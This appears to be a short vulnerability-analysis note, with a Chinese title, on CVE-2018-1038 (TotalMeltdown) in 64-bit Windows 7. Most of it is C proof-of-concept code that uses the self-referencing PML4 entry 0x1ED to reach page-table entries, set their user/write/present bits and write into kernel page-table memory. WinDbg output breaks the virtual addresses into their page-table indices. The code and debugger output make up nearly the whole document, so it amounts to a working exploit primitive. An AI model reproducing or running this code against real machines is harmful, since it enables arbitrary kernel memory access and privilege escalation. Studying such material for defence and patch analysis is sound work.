CVE-2018-1038：TotalMeltdown漏洞分析的一点记录

#include 
#include 
#include 

#define QWORD unsigned long long

#define BASE 0xFFFF000000000000

#define PML4 0xFFFFF6FB7DBED000

#define PML4SELF_IDX 0x1ed

QWORD getAddr(QWORD base, QWORD pml4Idx, QWORD pdptIdx, QWORD pdIdx, QWORD ptIdx, QWORD offsetIdx);


void testAddr(unsigned char *p);

int main(int argc, char *argv)
{
	unsigned char *temp = (unsigned char *)0xFFFFF6FB7DBED000;

	unsigned char *p = (unsigned char*)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 1, 0);//到达PDPT
	testAddr(p);
	QWORD *pdpte = (QWORD *)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 8);
	*pdpte = (*pdpte | 7);
	testAddr(p);

//添加部分

	unsigned char *pd = (unsigned char*)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, 1, 5, 0x0);//到达PD
	testAddr(pd);
	QWORD *pde = (QWORD *)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 1, 40);
	*pde = (*pde | 7);
	testAddr(pd);
	
	system("pause");
	return 0;
}


QWORD getAddr(QWORD base, QWORD pml4Idx, QWORD pdptIdx, QWORD pdIdx, QWORD ptIdx, QWORD offsetIdx) {
	base = base + offsetIdx + (ptIdx << 12) + (pdIdx << 21) + (pdptIdx << 30) + (pml4Idx << 39);
	return base;
}

void testAddr(unsigned char *p) {
	__try {
		int i = *p;
		memcpy(p + 40, "\x00\x00\x00\x00\x00\x02\x00\x00", 8);
		printf("access 0x%p sucess\n", p);
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		printf("access 0x%p error\n", p);
	
	}
}

kd> .formats 0xFFFFF6FB7DA01000
Evaluate expression:
  Hex:     fffff6fb`7da01000
  Decimal: -9914971844608
  Octal:   1777777557557550010000
  Binary:  11111111 11111111 11110110 11111011 01111101 10100000 00010000 00000000
  Chars:   ....}...
  Time:    ***** Invalid FILETIME
  Float:   low 2.65949e+037 high -1.#QNAN
  Double:  -1.#QNAN

11111111 11111111 
11110110 1 ：0x1ED (PML4 index)
1111011 01 : 0x1ED (PDPT index)
111101 101 : 0x1ED (PD index)
00000 0001 : 0x1 (PT index)
0000 00000000 (OFFSET)

kd> .formats 0xfffff6fb40205000
Evaluate expression:
  Hex:     fffff6fb`40205000
  Decimal: -9916003627008
  Octal:   1777777557550010050000
  Binary:  11111111 11111111 11110110 11111011 01000000 00100000 01010000 00000000
  Chars:   ....@ P.
  Time:    ***** Invalid FILETIME
  Float:   low 2.50488 high -1.#QNAN
  Double:  -1.#QNAN

11111111 11111111 
11110110 1 : 0x1ED(PML4 index)
1111011 01 : 0x1ED(PDPT index)
000000 001 : 0x1 (PD index)
00000 0101 : 0x5 (PT index)
0000 00000000 (OFFSET)

kd> rM 80
cr0=0000000080050031 cr2=fffff900c22eb000 cr3=0000000000187000
cr8=000000000000000f

memcpy(p + 40, "\x00\x00\x00\x00\x00\x02\x00\x00", 8);